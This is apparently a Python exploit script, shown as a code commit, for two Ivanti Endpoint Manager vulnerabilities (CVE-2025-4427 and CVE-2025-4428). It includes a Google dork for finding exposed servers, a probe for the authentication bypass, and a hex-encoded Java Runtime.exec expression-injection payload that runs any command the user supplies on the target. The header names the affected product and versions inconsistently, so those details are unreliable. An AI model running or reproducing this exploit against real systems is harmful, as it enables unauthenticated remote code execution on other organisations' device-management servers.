1+ #!/usr/bin/env python3
2+
3+ # Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass
4+ # Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager"
5+ # Date: 2025-01-21
6+ # Exploit Author: [Your Name] (https://github.com/[your-username])
7+ # Vendor Homepage: https://www.ivanti.com/
8+ # Software Link: https://www.ivanti.com/products/endpoint-manager
9+ # Version: < 2025.1
10+ # Tested on: Ubuntu 22.04 LTS, Python 3.10
11+ # CVE: CVE-2025-4427, CVE-2025-4428
12+
13+ # Description:
14+ # Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities:
15+ # 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE
16+ # 2. CVE-2025-4428: Authentication bypass on administrative endpoints
17+ # The vulnerabilities can be chained to achieve unauthenticated remote code execution.
18+
19+ # Requirements:
20+ # - Python 3.x
21+ # - requests >= 2.25.1
22+ # - urllib3
23+
24+ # Usage:
25+ # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com
26+ # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami"
27+
28+ import requests
29+ import urllib3
30+ import argparse
31+ from urllib .parse import urljoin
32+
33+ urllib3 .disable_warnings (urllib3 .exceptions .InsecureRequestWarning )
34+
35+ class IvantiExploit :
36+ def __init__ (self , target ):
37+ self .target = target .rstrip ('/' ) + '/'
38+ self .session = requests .Session ()
39+ self .session .verify = False
40+
41+ def detect_cve_2025_4427 (self ):
42+ """Quick detection for CVE-2025-4427"""
43+ # Simple math payload for detection
44+ payload = '%24%7b%32%2b%32%7d' # ${2+2}
45+ url = f"{ self .target } mifs/rs/api/v2/featureusage?format={ payload } "
46+
47+ try :
48+ resp = self .session .get (url , timeout = 10 )
49+ if resp .status_code == 400 and ('4' in resp .text or 'Process[pid' in resp .text ):
50+ return True , "CVE-2025-4427 VULNERABLE - Expression Language Injection"
51+ except :
52+ pass
53+ return False , "CVE-2025-4427 NOT VULNERABLE"
54+
55+ def exploit_rce (self , command = 'id' ):
56+ """Execute command via CVE-2025-4427"""
57+ # URL encode the command
58+ cmd_hex = command .encode ().hex ()
59+ cmd_encoded = '' .join (f'%{ cmd_hex [i :i + 2 ]} ' for i in range (0 , len (cmd_hex ), 2 ))
60+
61+ # RCE payload
62+ payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{ cmd_encoded } %27%29%7d'
63+
64+ url = f"{ self .target } mifs/rs/api/v2/featureusage?format={ payload } "
65+
66+ try :
67+ resp = self .session .get (url , timeout = 15 )
68+ if resp .status_code == 400 and 'Process[pid' in resp .text :
69+ return True , f"RCE SUCCESS: { resp .text [:200 ]} "
70+ except :
71+ pass
72+ return False , "RCE FAILED"
73+
74+ def detect_cve_2025_4428 (self ):
75+ """Quick detection for CVE-2025-4428"""
76+ admin_endpoints = ['/mifs/rs/api/v2/admin' , '/admin' , '/api/admin' ]
77+
78+ for endpoint in admin_endpoints :
79+ try :
80+ url = urljoin (self .target , endpoint )
81+ resp = self .session .get (url , timeout = 10 )
82+ if resp .status_code == 200 :
83+ return True , f"CVE-2025-4428 VULNERABLE - Auth bypass on { endpoint } "
84+ except :
85+ continue
86+ return False , "CVE-2025-4428 NOT VULNERABLE"
87+
88+ def run_all_tests (self ):
89+ """Run all detection tests"""
90+ print (f"[+] Testing target: { self .target } " )
91+
92+ # Test CVE-2025-4427
93+ vuln_4427 , msg_4427 = self .detect_cve_2025_4427 ()
94+ print (f"[{ '!' if vuln_4427 else '-' } ] { msg_4427 } " )
95+
96+ # Test CVE-2025-4428
97+ vuln_4428 , msg_4428 = self .detect_cve_2025_4428 ()
98+ print (f"[{ '!' if vuln_4428 else '-' } ] { msg_4428 } " )
99+
100+ # If 4427 is vulnerable, try RCE
101+ if vuln_4427 :
102+ print ("[+] Attempting RCE..." )
103+ rce_success , rce_msg = self .exploit_rce ('whoami' )
104+ print (f"[{ '!' if rce_success else '-' } ] { rce_msg } " )
105+
106+ return vuln_4427 or vuln_4428
107+
108+ def main ():
109+ banner = """
110+ --[[
111+ .___ __ .__ _____________________ _____ _____
112+ | |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \
113+ | \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \
114+ | |\ / / __ \| | \ | | | | \ | | / Y \/ Y \
115+ |___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ /
116+ \/ \/ \/ \/ \/
117+ --]]
118+ """
119+ print (banner )
120+
121+ parser = argparse .ArgumentParser ()
122+ parser .add_argument ('-t' , '--target' , required = True , help = 'Target URL (e.g., https://target.com)' )
123+ parser .add_argument ('-c' , '--command' , default = 'id' , help = 'Command to execute (default: id)' )
124+ parser .add_argument ('--exploit' , action = 'store_true' , help = 'Attempt exploitation' )
125+
126+ args = parser .parse_args ()
127+
128+ exploit = IvantiExploit (args .target )
129+
130+ if args .exploit :
131+ print (f"[+] Exploiting with command: { args .command } " )
132+ success , result = exploit .exploit_rce (args .command )
133+ print (f"[{ '!' if success else '-' } ] { result } " )
134+ else :
135+ exploit .run_all_tests ()
136+
137+ if __name__ == "__main__" :
138+ main ()
0 commit comments